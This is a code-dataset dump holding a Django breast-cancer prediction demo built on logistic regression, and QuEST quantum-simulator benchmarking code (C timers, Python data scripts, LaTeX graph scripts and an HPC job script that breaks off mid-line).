repo_name
stringlengths
5
114
repo_url
stringlengths
24
133
snapshot_id
stringlengths
40
40
revision_id
stringlengths
40
40
directory_id
stringlengths
40
40
branch_name
stringclasses
209 values
visit_date
timestamp[ns]
revision_date
timestamp[ns]
committer_date
timestamp[ns]
github_id
int64
9.83k
683M
star_events_count
int64
0
22.6k
fork_events_count
int64
0
4.15k
gha_license_id
stringclasses
17 values
gha_created_at
timestamp[ns]
gha_updated_at
timestamp[ns]
gha_pushed_at
timestamp[ns]
gha_language
stringclasses
115 values
files
listlengths
1
13.2k
num_files
int64
1
13.2k
Shoaib-Abdulgani-Shaikh/breastcancerpredictor
https://github.com/Shoaib-Abdulgani-Shaikh/breastcancerpredictor
571d0c839f849b532f55e2dbd3e4f2d26925a8c4
39c9c632be181f4ee116326abb2c3afc3c1f0976
4d7869301b3f064c59235aa86bacad30f5b4aef6
refs/heads/master
2022-11-13T17:21:24.165596
2020-06-25T18:41:45
2020-06-25T18:41:45
274,989,663
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6720647811889648, "alphanum_fraction": 0.6720647811889648, "avg_line_length": 23.600000381469727, "blob_id": "abb769c863982e67bb03c70ea477b46e8ce5c0fe", "content_id": "c0a8cf58f91c59553c8a15081c47cf85227bfe6f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 247, "license_type": "no_license", "max_line_length": 38, "num_lines": 10, "path": "/bcnew/breast_cancernewnewnew/breast_cancer/urls.py", "repo_name": "Shoaib-Abdulgani-Shaikh/breastcancerpredictor", "src_encoding": "UTF-8", "text": "from django.contrib import admin\nfrom django.urls import path\nfrom . import views\n\nurlpatterns = [\n path('admin/', admin.site.urls),\n path('admin/about/',views.about),\n path('',views.homepage), \n path('evaluser',views.evaluser) , \n]\n\n" }, { "alpha_fraction": 0.4523751437664032, "alphanum_fraction": 0.4721071720123291, "avg_line_length": 29.407407760620117, "blob_id": "fd1467da8ca6226c3afc213e7d4c06b896799e4e", "content_id": "b78f1215e320a35c282dbdaeba858b8716cf5b8d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4105, "license_type": "no_license", "max_line_length": 100, "num_lines": 135, "path": "/bcnew/breast_cancernewnewnew/breast_cancer/views.py", "repo_name": "Shoaib-Abdulgani-Shaikh/breastcancerpredictor", "src_encoding": "UTF-8", "text": "from django.http import HttpResponse\nfrom django.shortcuts import render\nfrom django.http import JsonResponse\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.linear_model import LogisticRegression\nimport json\nimport warnings\nwarnings.filterwarnings('ignore')\nimport numpy as np\nimport pandas as pd\n\n\n\ndef about(request):\n #return HttpResponse(\"THE ABOUT PAGE\")\n return render(request,\"about.html\")\n\ndef homepage(request):\n #return HttpResponse(\"HOME PAGE\")\n return render(request,\"homepage.html\")\n\ndef evaluser(request):\n if request.method == \"POST\":\n name = request.POST['username']\n df = pd.read_csv('breast_cancer/wdbc.data',header=None)\n data=df.columns.values.tolist()\n print(data)\n #data=[]\n for i in range(30):\n # if data[i]==0:\n # data[i]='ID'\n # if data[i]==1:\n # data[i]='DIAGNOSIS'\n if data[i]==0:\n data[i]='RADIUS_MEAN'\n if data[i]==1:\n data[i]='TEXTURE_MEAN'\n if data[i]==2:\n data[i]='PERIMETER_MEAN'\n if data[i]==3:\n data[i]='AREA_MEAN'\n if data[i]==4:\n data[i]='SMOOTHNESS_MEAN'\n if data[i]==5:\n data[i]='COMPACTNESS_MEAN'\n if data[i]==6:\n data[i]='CONCATIVITY_MEAN'\n if data[i]==7:\n data[i]='CONCAVE_POINTS'\n if data[i]==8:\n data[i]='SYMMETRY'\n if data[i]==9:\n data[i]='FRACTAL_DIMENSIONS'\n if data[i]==10:\n data[i]='RADIUS_SE'\n if data[i]==11:\n data[i]='TEXTURE_SE'\n if data[i]==12:\n data[i]='PERIMETER_SE'\n if data[i]==13:\n data[i]='AREA_WORST'\n if data[i]==14:\n data[i]='SMOOTHNESS_SE'\n if data[i]==15:\n data[i]='COMPACTNESS_SE'\n if data[i]==16:\n data[i]='CONCATIVITY_SE'\n if data[i]==17:\n data[i]='CONCAVE_POINTS_SE'\n if data[i]==18:\n data[i]='SYMMETRY_SE'\n if data[i]==19:\n data[i]='FRACTAL_DIMENSION_SE'\n if data[i]==20:\n data[i]='RADIUS_WORST'\n if data[i]==21:\n data[i]='TEXTURE_WORST'\n if data[i]==22:\n data[i]='PERIMETER_WORST'\n if data[i]==23:\n data[i]='AREA_WORST'\n if data[i]==24:\n data[i]='SMOOTHNESS_WORST'\n if data[i]==25:\n data[i]='COMPACTNESS_WORST'\n if data[i]==26:\n data[i]='CONCATVITY_WORST'\n if data[i]==27:\n data[i]='CONCAVE_POINTS_WORST'\n if data[i]==28:\n data[i]='SYMMETRY_WORST'\n if data[i]==29:\n data[i]='FRACTAL_DIMENSION_WORST'\n \n alldataforid = {}\n newid=int(name)\n myid=df.loc[df[0]==newid].index\n print(myid)\n z=myid[0]\n alldataforid=df.loc[z,2:]\n data2=alldataforid.values.tolist()\n converted2d=[np.asarray(alldataforid)]\n print(data2)\n\n #TRAINING DATA\n X = df.loc[:, 2:].values\n y = df.loc[:, 1].values\n X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.3, random_state=0) \n classifier = LogisticRegression()\n classifier.fit(X_train, y_train)\n classifier.score(X_test,y_test)*100\n #PREDICTING DATA\n y_pred=classifier.predict(converted2d)\n print(y_pred)\n flag=10\n if y_pred[0]=='B':\n flag=0\n else:\n flag=1\n\n \n \n # for i in range(32):\n # data2[i] = i\n finaldata = {\n \"data\":data,\n \"data2\":data2,\n \"name\":name,\n \"result\":flag,\n \"score\":flag \n\n }\n # for i in range(30):\n # data[i] = i\n return JsonResponse(finaldata)\n" } ]
2
aniabrown/QuEST_Performance_v2.1.0
https://github.com/aniabrown/QuEST_Performance_v2.1.0
199b087da6c01625dbb26e0bdafaa06d14745941
4c566b2a8dba3b4eb2e176e5a93b219f24ad5048
e7ffb3ccc847005ed21eb5bef6012bed076d93aa
refs/heads/master
2021-06-30T06:15:58.334040
2020-12-09T11:32:36
2020-12-09T11:32:36
197,182,906
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.8099173307418823, "alphanum_fraction": 0.8429751992225647, "avg_line_length": 59.5, "blob_id": "05527707c6d680d4cefecd8460c3cc8f7c4326bb", "content_id": "f950e7f1cb2310be45a708f5b57bb28454e613ff", "detected_licenses": [ "BSD-3-Clause", "MIT" ], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 121, "license_type": "permissive", "max_line_length": 62, "num_lines": 2, "path": "/randomCircuit/graphing/strongScaling30QubitArcher2/genPDFs.sh", "repo_name": "aniabrown/QuEST_Performance_v2.1.0", "src_encoding": "UTF-8", "text": "pdflatex --jobname=archer_30qubit_strongScaling graph.tex\npdflatex --jobname=archer_30qubit_strongScaling_full graph.tex\n" }, { "alpha_fraction": 0.8524590134620667, "alphanum_fraction": 0.8524590134620667, "avg_line_length": 60, "blob_id": "1c2509bfca201a1ee207bca2b2ab5373bd05daa8", "content_id": "0154280f0b4fe50a9b334e2dd5ed6ac00dfd6f84", "detected_licenses": [ "BSD-3-Clause", "MIT" ], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 61, "license_type": "permissive", "max_line_length": 60, "num_lines": 1, "path": "/compactUnitary/graphing/strongScaling31qubitsSingleNodeArcher2/genPDFs.sh", "repo_name": "aniabrown/QuEST_Performance_v2.1.0", "src_encoding": "UTF-8", "text": "pdflatex --jobname=archer_singleNode_strongScaling graph.tex\n" }, { "alpha_fraction": 0.8103448152542114, "alphanum_fraction": 0.8448275923728943, "avg_line_length": 57, "blob_id": "39f8383b4d31f6e0fef7a3bb85b0a2916a0e77a1", "content_id": "e01891965aab585905b48198bb21cd9430a33f06", "detected_licenses": [ "BSD-3-Clause", "MIT" ], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 58, "license_type": "permissive", "max_line_length": 57, "num_lines": 1, "path": "/randomCircuit/graphing/strongScaling30QubitArcher/genPDFs.sh", "repo_name": "aniabrown/QuEST_Performance_v2.1.0", "src_encoding": "UTF-8", "text": "pdflatex --jobname=archer_30qubit_strongScaling graph.tex\n" }, { "alpha_fraction": 0.7544910311698914, "alphanum_fraction": 0.7544910311698914, "avg_line_length": 19.75, "blob_id": "56ec5147fc93a15770c2541a5245dd1b1679a872", "content_id": "97bb01bbf6c1937e3eae4bb7a0ecd8ee432b8566", "detected_licenses": [ "BSD-3-Clause", "MIT" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 167, "license_type": "permissive", "max_line_length": 63, "num_lines": 8, "path": "/randomCircuit/RandomCircuit.h", "repo_name": "aniabrown/QuEST_Performance_v2.1.0", "src_encoding": "UTF-8", "text": "#ifndef RANDOM_CIRCUIT_H_\n#define RANDOM_CIRCUIT_H_\n\n#include \"QuEST.h\"\n\nlong double applyRandomCircuit(Qureg qubits, int circuitDepth);\n\n#endif // RANDOM_CIRCUIT_H_\n\n" }, { "alpha_fraction": 0.7884615659713745, "alphanum_fraction": 0.8269230723381042, "avg_line_length": 51, "blob_id": "d4fcf740edfb243a7f6b5c33eeaadf7ea03ff9d4", "content_id": "11fc0611c5d3b8218b515271f4c9d7e29f808dbd", "detected_licenses": [ "BSD-3-Clause", "MIT" ], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 156, "license_type": "permissive", "max_line_length": 55, "num_lines": 3, "path": "/compactUnitary/graphing/weakScalingMax-2SizeArcher2/genPDFs.sh", "repo_name": "aniabrown/QuEST_Performance_v2.1.0", "src_encoding": "UTF-8", "text": "pdflatex --jobname=archer_weakScaling graph.tex\npdflatex --jobname=archer_weakScaling_q32-q36 graph.tex\npdflatex --jobname=archer_weakScaling_q36 graph.tex\n" }, { "alpha_fraction": 0.5647236704826355, "alphanum_fraction": 0.590461790561676, "avg_line_length": 27.106382369995117, "blob_id": "d6379ee860dbee9229d9f699a361aa9b5ff18f82", "content_id": "277187114efb86dcaba9ad6cd735652224e2cf28", "detected_licenses": [ "BSD-3-Clause", "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1321, "license_type": "permissive", "max_line_length": 129, "num_lines": 47, "path": "/compactUnitary/graphing/singleNodeThreadsProcsArcher2/genData.py", "repo_name": "aniabrown/QuEST_Performance_v2.1.0", "src_encoding": "UTF-8", "text": "import csv\nimport math\n\nfileNameOutput = 'weakScalingMaxSizeArcher.csv'\n\nranks = [2, 4, 8, 16, 32, 64]\nqubits= [31, 32, 33, 34, 35, 36]\nthreads = 24\ncompareRank = 1\n\ngetHeader = 1\nfullTable = []\ncompareTime=1\n\nfor index in range(len(ranks)):\n rank = ranks[index]\n qubitSize = qubits[index]\n fileName = '../../archer/' + str(qubitSize) +'qubits' + str(rank) + 'ranks' + str(threads) + \\\n 'threads/TIMING_STATS_ROTATE_' + str(qubitSize) + 'qubits_CPU_' + str(rank) + 'ranksx' + str(threads) + 'threads.csv'\n\n try:\n with open(fileName) as csvFileIn:\n reader = list(csv.reader(csvFileIn))\n if (getHeader):\n headers = ['numRanks', 'numThreads', 'speedup', 'speedupStandardDev'] + reader[0]\n fullTable.append(headers)\n getHeader = 0\n\n #print(reader)\n time = float(reader[1][1])\n\n print(time)\n\n standardDev = float(reader[1][2])\n\n dataRow = [rank, threads, time, standardDev] + reader[1]\n fullTable.append(dataRow)\n except:\n compareRank = compareRank*2\n print('!! Skipped: ' + fileName)\n\n\nwith open(fileNameOutput, 'w') as csvFileOut:\n writer = csv.writer(csvFileOut)\n writer.writerows(fullTable)\n\nprint('Table printed to ' + fileNameOutput)\n" }, { "alpha_fraction": 0.5734924674034119, "alphanum_fraction": 0.5986180901527405, "avg_line_length": 30.215686798095703, "blob_id": "9588ec5f53ef042481d00a6e85633c8ecb0acce7", "content_id": "fe2de728da7830fe847bf1515f05400b1642bbec", "detected_licenses": [ "BSD-3-Clause", "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1592, "license_type": "permissive", "max_line_length": 112, "num_lines": 51, "path": "/compactUnitary/graphing/strongScaling31qubitsSingleNodeArcher2/genData.py", "repo_name": "aniabrown/QuEST_Performance_v2.1.0", "src_encoding": "UTF-8", "text": "import csv\nimport math\n\nfileNameOutput = 'strongScaling31qubit.csv'\n\nthreads = [8, 16, 32, 64, 128]\nranks = 1\ncompareThread = 8\nqubit = 30\n\ngetHeader = 1\nfullTable = []\ncompareTime=1\n\nfor thread in threads:\n fileName = '../../archer2/singleNode/31qubits' + str(ranks) + 'nodes1ranks' + str(thread) + \\\n 'threads/TIMING_STATS_ROTATE_31qubits_CPU_' + str(ranks) + 'ranksx' + str(thread) + 'threads.csv'\n\n try:\n with open(fileName) as csvFileIn:\n reader = list(csv.reader(csvFileIn))\n if (getHeader):\n headers = ['numRanks', 'numThreads', 'speedup', 'speedupStandardDev', 'inverseTime'] + reader[0]\n fullTable.append(headers)\n getHeader = 0\n\n if (thread==compareThread):\n compareTime = float(reader[1+qubit][1])\n compareStandardDev = float(reader[1+qubit][2])\n \n time = float(reader[1+qubit][1])\n inverseTime = 1.0/time\n speedup = compareTime/time\n\n standardDev = float(reader[1+qubit][2])\n\n speedupStandardDev = math.sqrt( (compareStandardDev/compareTime)**2 + \\\n (standardDev/time)**2 )\n\n dataRow = [ranks, thread, speedup, speedupStandardDev, inverseTime] + reader[1+qubit]\n fullTable.append(dataRow)\n except:\n compareThread = compareThread*2\n print('!! Skipped: ' + fileName)\n\n\nwith open(fileNameOutput, 'w') as csvFileOut:\n writer = csv.writer(csvFileOut)\n writer.writerows(fullTable)\n\nprint('Table printed to ' + fileNameOutput)\n" }, { "alpha_fraction": 0.5603392124176025, "alphanum_fraction": 0.5883888006210327, "avg_line_length": 29.65999984741211, "blob_id": "9a695e277ec82be5df5bc1c8db72ab745703ecc3", "content_id": "91fdf244ccbd79bec5dac5f166b44fd345a64277", "detected_licenses": [ "BSD-3-Clause", "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1533, "license_type": "permissive", "max_line_length": 112, "num_lines": 50, "path": "/randomCircuit/graphing/strongScaling30QubitArcher2/genData.py", "repo_name": "aniabrown/QuEST_Performance_v2.1.0", "src_encoding": "UTF-8", "text": "import csv\nimport math\n\nfileNameOutput = 'strongScaling30qubit.csv'\n\nranks = [8, 16, 32, 64, 128, 256]\nthreads = 128\ncompareRank = 8\n\ngetHeader = 1\nfullTable = []\ncompareTime=1\n\nfor rank in ranks:\n fileName = '../../archer2/30qubits' + str(rank) + 'nodes1ranks' + str(threads) + \\\n 'threads/TIMING_STATS_ROTATE_30qubits_CPU_' + str(rank) + 'ranksx' + str(threads) + 'threads.csv'\n\n try:\n with open(fileName) as csvFileIn:\n reader = list(csv.reader(csvFileIn))\n if (getHeader):\n headers = ['numRanks', 'numThreads', 'speedup', 'speedupStandardDev', 'inverseTime'] + reader[0]\n fullTable.append(headers)\n getHeader = 0\n\n if (rank==compareRank):\n compareTime = float(reader[1][1])\n compareStandardDev = float(reader[1][2])\n \n time = float(reader[1][1])\n inverseTime = 1.0/time\n speedup = compareTime/time\n\n standardDev = float(reader[1][2])\n\n speedupStandardDev = math.sqrt( (compareStandardDev/compareTime)**2 + \\\n (standardDev/time)**2 )\n\n dataRow = [rank, threads, speedup, speedupStandardDev, inverseTime] + reader[1]\n fullTable.append(dataRow)\n except:\n compareRank = compareRank*2\n print('!! Skipped: ' + fileName)\n\n\nwith open(fileNameOutput, 'w') as csvFileOut:\n writer = csv.writer(csvFileOut)\n writer.writerows(fullTable)\n\nprint('Table printed to ' + fileNameOutput)\n" }, { "alpha_fraction": 0.49667850136756897, "alphanum_fraction": 0.5187702775001526, "avg_line_length": 30.72549057006836, "blob_id": "9b0bf4879544e2bdc3322343cbd0e78200301f78", "content_id": "f5859f0c9b2688bac3e87758dafa8803e523aa32", "detected_licenses": [ "BSD-3-Clause", "MIT" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 6473, "license_type": "permissive", "max_line_length": 116, "num_lines": 204, "path": "/compactUnitary/compactUnitaryTimer.c", "repo_name": "aniabrown/QuEST_Performance_v2.1.0", "src_encoding": "UTF-8", "text": "/** @file timingDemo.c\n * Measure execution time for rotations of qubits.\n * An example using the QuEST library\n */\n\n// ==================================================================== //\n// //\n// demo.c -- qubit operarion demonstrator for QuEST //\n// //\n// ==================================================================== //\n\n# include <stdio.h>\n# include <stdlib.h>\n# include <time.h>\n# include <math.h>\n# include <unistd.h>\n# include <string.h>\n# include <omp.h>\n\n# include \"QuEST_precision.h\"\n# include \"QuEST.h\"\n\n# define maxNumQubits 40\n//! Number of times rotations are repeated for timing purposes\n//! 1: perform one rotation outside the timing loop to get around long communication\n//! time for first MPI send/recv\n# define INIT_COMMUNICATION 1\n\nconst long qreal Pi = 3.14159265358979323846264338327950288419716939937510;\n\n# include <stdlib.h>\n# include <sys/time.h>\n\n// ==================================================================== //\n// //\n// system_timer -- precision walltime function, computes //\n// walltime based on the gettimeofday() function //\n// //\n// ==================================================================== //\n\nqreal system_timer (void) {\n struct timeval time;\n gettimeofday (&time, NULL);\n return time.tv_sec + time.tv_usec / 1000000.0;\n}\n\nint system_timer_usec (void) {\n struct timeval time;\n gettimeofday (&time, NULL);\n return time.tv_sec*1000000 + time.tv_usec;\n}\n\n//--------------------------------------------------------------\n//---------------------- START OF main() ----------------------\n//--------------------------------------------------------------\nint main (int narg, char** varg) {\n\n QuESTEnv env;\n env = createQuESTEnv();\n\n // model vars\n int numQubits, numTrials;\n\n Qureg qureg; \n qreal normError=0;\n\n // number of qubits is command line argument\n if (narg >= 2) {\n numQubits = atoi(varg[1]);\n if (numQubits < 1 || numQubits > maxNumQubits) {\n printf(\" *** error: argument %d out of range (1 -- %d)\\n\", numQubits,maxNumQubits);\n exit (EXIT_FAILURE);\n }\n numTrials = atoi(varg[2]);\n } else {\n printf(\" *** error: too few arguments, number of qubits expected\\n\");\n exit (EXIT_FAILURE);\n }\n\n\n // timing variables\n qreal wtime_start,\n wtime_stop, wtime_duration,\n app_wtime_stop, app_wtime_start;\n qreal *timingVec;\n int trial;\n\n app_wtime_start = system_timer();\n\n timingVec = (qreal*) malloc(numTrials*numQubits*sizeof(timingVec));\n \n qureg = createQureg(numQubits, env);\n\n if (env.rank==0){\n reportQuregParams(qureg);\n reportQuESTEnv(env);\n }\n\n // initialise the state to |0000..0>\n initZeroState(qureg);\n\n\n // prepare files for writing output state vector and timing data\n FILE *timing, *distribution;\n char envString[255];\n getEnvironmentString(env, qureg, envString);\n char filename[255];\n\n if (env.rank==0){ \n sprintf(filename, \"TIMING_STATS_ROTATE_%s.csv\", envString);\n timing = fopen(filename, \"w\");\n fprintf(timing, \"qubit, time(s), standardDev, maxDelta, minDelta\\n\");\n\n sprintf(filename, \"TIMING_FULL_ROTATE_%s.csv\", envString);\n distribution = fopen(filename, \"w\");\n fprintf(distribution, \"qubit, trials\\n\");\n }\n\n qreal ang1 = 1.2320;\n qreal ang2 = 0.4230; \n qreal ang3 = -0.6523;\n\n Complex alpha, beta;\n alpha.real = cos(ang1) * cos(ang2);\n alpha.imag = cos(ang1) * sin(ang2);\n beta.real = sin(ang1) * cos(ang3);\n beta.imag = sin(ang1) * sin(ang3);\n\n // do a big MPI communication to get around first send/recv in the program occasionally taking many times longer\n //(due to MPI setup?)\n if (INIT_COMMUNICATION){\n compactUnitary(qureg,numQubits-1,alpha,beta);\n }\n\n\n for (int i=0; i<numQubits; i++) {\n if (env.rank==0) fprintf(distribution, \"%d\", i);\n for (trial=0; trial<numTrials; trial++){\n // for timing -- have all ranks start at same place\n syncQuESTEnv(env);\n wtime_start=system_timer();\n\n // do rotation of each qubit numTrials times for timing\n compactUnitary(qureg,i,alpha,beta);\n //printf(\"wtime duration %f\\n\", wtime_duration);\n\n syncQuESTEnv(env);\n wtime_stop=system_timer();\n wtime_duration=wtime_stop-wtime_start;\n if (env.rank==0) {\n timingVec[trial*numQubits + i]=wtime_duration;\n fprintf(distribution, \",%.8f\", timingVec[trial*numQubits + i]);\n fflush(distribution);\n }\n }\n if (env.rank==0) fprintf(distribution, \"\\n\");\n }\n\n if (env.rank==0) printf(\"Applied random circuit\\n\"); \n // check vector size is unchanged\n normError=1.0-calcTotalProb(qureg);\n if (env.rank==0) printf(\"VERIFICATION: norm error = %e\\n\", normError);\n\n // report timing to file\n if (env.rank==0){\n qreal totTime, avg, standardDev, temp, max, min;\n for(int i=0; i<numQubits; i++){\n max=0; min=10e5;\n totTime=0;\n\n for (trial=0; trial<numTrials; trial++){\n temp=timingVec[trial*numQubits + i];\n totTime+=temp;\n if (temp<min) min=temp;\n if (temp>max) max=temp;\n }\n\n avg = totTime/(qreal)(numTrials);\n standardDev=0;\n for (int trial=0; trial<numTrials; trial++){\n temp = timingVec[trial*numQubits + i]-avg;\n standardDev += temp*temp;\n }\n standardDev = sqrt(standardDev/(qreal)(numTrials));\n\n fprintf(timing, \"%d, %.8f, %.8f, %.8f, %.8f\\n\", i, avg, standardDev, max-avg, avg-min);\n }\n }\n\n // free memory\n if (env.rank==0) fclose(timing);\n if (env.rank==0) fclose(distribution);\n\n destroyQureg(qureg, env);\n\n if (env.rank==0) free(timingVec);\n\n destroyQuESTEnv(env);\n \n app_wtime_stop = system_timer();\n printf(\"Total program execution: %f s\\n\", (app_wtime_stop-app_wtime_start));\n\n return EXIT_SUCCESS;\n}\n\n" }, { "alpha_fraction": 0.6173743009567261, "alphanum_fraction": 0.642996609210968, "avg_line_length": 19.696969985961914, "blob_id": "8484898f9046ee20082e641a7c1d47f67276e413", "content_id": "11b72aea355dd1f721fb6416d47740fcbe1b8987", "detected_licenses": [ "BSD-3-Clause", "MIT" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 4098, "license_type": "permissive", "max_line_length": 80, "num_lines": 198, "path": "/randomCircuit/RandomCircuit.c", "repo_name": "aniabrown/QuEST_Performance_v2.1.0", "src_encoding": "UTF-8", "text": "/** @file \n * Applies a random circuit\n */\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <math.h>\n#include <omp.h>\n#include <sys/time.h>\n\n#include \"RandomCircuit.h\"\n#include \"mt19937ar.h\"\n#include \"QuEST.h\"\n\nconst long double SQRT2 = \t1.41421356237309504880168872420969807856967187537694;\n\nenum gateID {X, Y, T, H, C, None};\n\n\nint getRandomInteger(int min, int max) {\n int numIntegers = max-min+1;\n return floor(genrand_real2()*numIntegers);\n\t//return min + rand()/(RAND_MAX/(max - min + 2) + 1);\n}\n\n\nenum gateID pickRandomGate(enum gateID prevGate) {\n\t\n\tint choice = getRandomInteger(0,1);\n\tswitch(prevGate) {\n\t\tcase T: return (choice)? X:Y;\n\t\tcase X: return (choice)? Y:T;\n\t\tcase Y: return (choice)? T:X;\n\t\tdefault: break;\n\t}\nprintf(\"FIRST TIME\\n\");\t\n\tchoice = getRandomInteger(0,2);\n\tif (choice == 0)\n\t\treturn X;\n\tif (choice == 1)\n\t\treturn Y;\n\treturn T;\n}\n\n\nlong double applyRandomCircuit(Qureg qubits, int circuitDepth) {\n\t\n\t\n\t/*\n\t * PREPARE DATA STRUCTURES\n\t */\n\t \n\t// remembers previous gates\n\tint numQubits = qubits.numQubitsRepresented;\n\tint *hasToffo = malloc(numQubits * sizeof(int));\n\tenum gateID *prevGates = malloc(numQubits * sizeof(enum gateID));\n\tenum gateID *prevSings = malloc(numQubits * sizeof(enum gateID));\n\tenum gateID *currGates = malloc(numQubits * sizeof(enum gateID));\n\tfor (int i=0; i < numQubits; i++) {\n\t\thasToffo[i] = 0;\n\t\tprevGates[i] = None;\n\t\tprevSings[i] = T;\n\t\tcurrGates[i] = H;\n\t}\n\n\t// arguments for X^1/2 and Y^1/2 qubit rotations\n\tComplex alphaXY; \n\talphaXY.real = 1/SQRT2; alphaXY.imag = 0;\n\tComplex betaX, betaY;\n\tbetaX.real = 0; \t\tbetaX.imag = -1/SQRT2;\n\tbetaY.real = 1/SQRT2; \tbetaY.imag = 0;\n\t\n\t\n\t/*\n\t * PERFORM RANDOM GATE ALGORITHM\n\t */\n\t \n\t// start timing execution\n\tstruct timeval timeInstance;\n\tgettimeofday(&timeInstance, NULL);\n\tlong double startTime = (\n\t\ttimeInstance.tv_sec + \n\t\t(long double) timeInstance.tv_usec/pow(10,6));\n\t\n\t// populate all states\n\tinitPlusState(qubits);\n\tint cStartInd = -1;\n\tfor (int depth=0; depth < circuitDepth; depth++) {\n\t\t\n\t\t// update gates\n\t\tfor (int i=0; i < numQubits; i++) {\n\t\t\tprevGates[i] = currGates[i];\n\t\t\tcurrGates[i] = None;\n\t\t}\n\t\t\n\t\t// apply CZs\n\t\tcStartInd += 1;\n\t\tcStartInd %= 3;\n\t\tfor (int n=cStartInd; n<numQubits-1; n+=3) {\n\t\t\tcontrolledPhaseFlip(qubits, n, n+1);\n\t\t\tcurrGates[n] = currGates[n+1] = C;\n\t\t}\n\t\t\n\t\t// iterate only the not-C-gated qubits\n\t\tfor (int n=0; n < numQubits; n++) {\n\t\t\t\n\t\t\tif (currGates[n] != None || prevGates[n] != C)\n\t\t\t\tcontinue;\n\t\t\t\n\t\t\t// apply Toffoli gates\n\t\t\tif (!hasToffo[n]) {\n\t\t\t\ttGate(qubits, n);\n\t\t\t\thasToffo[n] = 1;\n\t\t\t\tprevSings[n] = T;\n\t\t\t\tcurrGates[n] = T;\n\t\t\t}\n\t\t\t// appply random gates\n\t\t\telse {\n\t\t\t\tenum gateID gate = pickRandomGate(prevSings[n]);\n\t\t\t\tprevSings[n] = gate;\n\t\t\t\tcurrGates[n] = gate;\n\t\t\t\tif (gate == T)\n\t\t\t\t\ttGate(qubits, n);\n\t\t\t\tif (gate == X)\n\t\t\t\t\tcompactUnitary(qubits, n, alphaXY, betaX);\n\t\t\t\tif (gate == Y)\n\t\t\t\t\tcompactUnitary(qubits, n, alphaXY, betaY);\n\t\t\t}\n\t\t}\n\t}\n\t\n\t// stop timing execution\n\tgettimeofday(&timeInstance, NULL);\n\tlong double endTime = (\n\t\ttimeInstance.tv_sec + \n\t\t(long double) timeInstance.tv_usec/pow(10,6));\n\t\n\n\t/*\n\t * FREE MEMORY\n\t */\n\t\n\tfree(hasToffo);\n\tfree(prevGates);\n\tfree(prevSings);\n\tfree(currGates);\n\t\n\treturn endTime - startTime;\n}\n\n\nint mainPrivate(int narg, char *varg[]) {\n\t\n\t\n\t/*\n\t * GET PARAMETERS\n\t */\n\t \n\t// RandomCircuit rSeed, numQubits, circDepth\n\tif (narg != 4) {\n\t\tprintf(\"ERROR: Call as RandomCircuit seed \"\n\t\t\t \"numQubits circuitDepth\\n\");\n\t\treturn 1;\n\t}\n\t\n\tint rSeed = atoi(varg[1]);\n\tint numQubits = atoi(varg[2]);\n\tint circuitDepth = atoi(varg[3]);\n\t\n\t\n\t/*\n\t * SIMULATE RANDOM CIRCUIT\n\t */\n\t\n\t// ensure circuit is random\n\tsrand(rSeed);\n\t \n\t// load QuEST, allocate qubits\n\tQuESTEnv env;\n\tenv = createQuESTEnv();\n\tQureg qubits; \n\tqubits = createQureg(numQubits, env);\n\t\n\t// time application of random circuit\n\tlong double duration = applyRandomCircuit(qubits, circuitDepth);\n\tprintf(\n\t\t\"took %Lfs to apply circuit of depth %d on %d qubits\\n\",\n\t\tduration, circuitDepth, numQubits);\n\t\n\t\n\t/*\n\t * FREE MEMORY\n\t */\n\t\n\tdestroyQureg(qubits, env); \n\tdestroyQuESTEnv(env);\n\treturn 0;\n}\n" }, { "alpha_fraction": 0.7692307829856873, "alphanum_fraction": 0.8307692408561707, "avg_line_length": 63, "blob_id": "8165659615bd50e1d0d954d67b13966401bf9793", "content_id": "bc1abb0a0820ab9b7c73b44b0a0bd4d164e272f4", "detected_licenses": [ "BSD-3-Clause", "MIT" ], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 65, "license_type": "permissive", "max_line_length": 63, "num_lines": 1, "path": "/compactUnitary/graphing/weakScalingMaxSizeArcus-sim/gen_weakScaling_3island_100trials.sh", "repo_name": "aniabrown/QuEST_Performance_v2.1.0", "src_encoding": "UTF-8", "text": "pdflatex --jobname=sim_weakScaling_3islands_100trials graph.tex\n\n" }, { "alpha_fraction": 0.6992907524108887, "alphanum_fraction": 0.7319148778915405, "avg_line_length": 19.705883026123047, "blob_id": "8cdf9d25b1fb5c004212f06d52deafbc2e81d38f", "content_id": "5e437c3b1ecbf9e37d5efcc00c51ec6df4cedd4e", "detected_licenses": [ "BSD-3-Clause", "MIT" ], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 705, "license_type": "permissive", "max_line_length": 117, "num_lines": 34, "path": "/compactUnitary/archer2/singleNode/32qubits1nodes4ranks32threads/mpiJob.sh", "repo_name": "aniabrown/QuEST_Performance_v2.1.0", "src_encoding": "UTF-8", "text": "#!/bin/bash\n\n#SBATCH --job-name=QuEST\n#SBATCH --time=0:30:0\n#SBATCH --nodes=1\n#SBATCH --tasks-per-node=4\n#SBATCH --cpus-per-task=32\n\n#SBATCH --account=y18\n#SBATCH --partition=standard\n#SBATCH --export=none\n#SBATCH --qos=standard\n\nmodule load epcc-job-env\nmodule restore PrgEnv-gnu\n#module restore /etc/cray-pe.d/PrgEnv-gnu\n\nexport OMP_NUM_THREADS=32\nexport OMP_PLACES=cores\n\nCMAKE_OPTIONS=\"-DUSER_SOURCE='compactUnitaryTimer.c' -DQuEST_DIR=QuEST_v2.1.0-gcc10Patch -DDISTRIBUTED=1 -DTESTING=0\"\n\nrm -r build\nmkdir build; cd build\ncmake $CMAKE_OPTIONS 